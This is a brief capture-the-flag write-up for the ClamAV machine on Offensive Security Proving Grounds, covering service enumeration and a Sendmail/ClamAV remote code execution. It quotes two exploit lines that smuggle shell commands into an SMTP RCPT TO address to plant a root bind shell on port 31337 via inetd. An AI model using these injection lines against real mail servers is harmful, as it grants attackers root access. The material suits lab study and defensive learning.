Writeup for ClamAV from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration -H -t full -H -t vulns

HTTP (80)

There is a page with a binary message.

Challenge accepted!

SMTP (25)

We can see that Sendmail 8.13.4 is used.


We find the following Sendmail + ClamAV RCE exploit:

The two lines in the Perl script:

print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";

appear to open port 31337 as a root shell.

After running the script, the port is indeed open.

Upon connecting to the bind shell, use bash -i to upgrade to a fully interactive shell.

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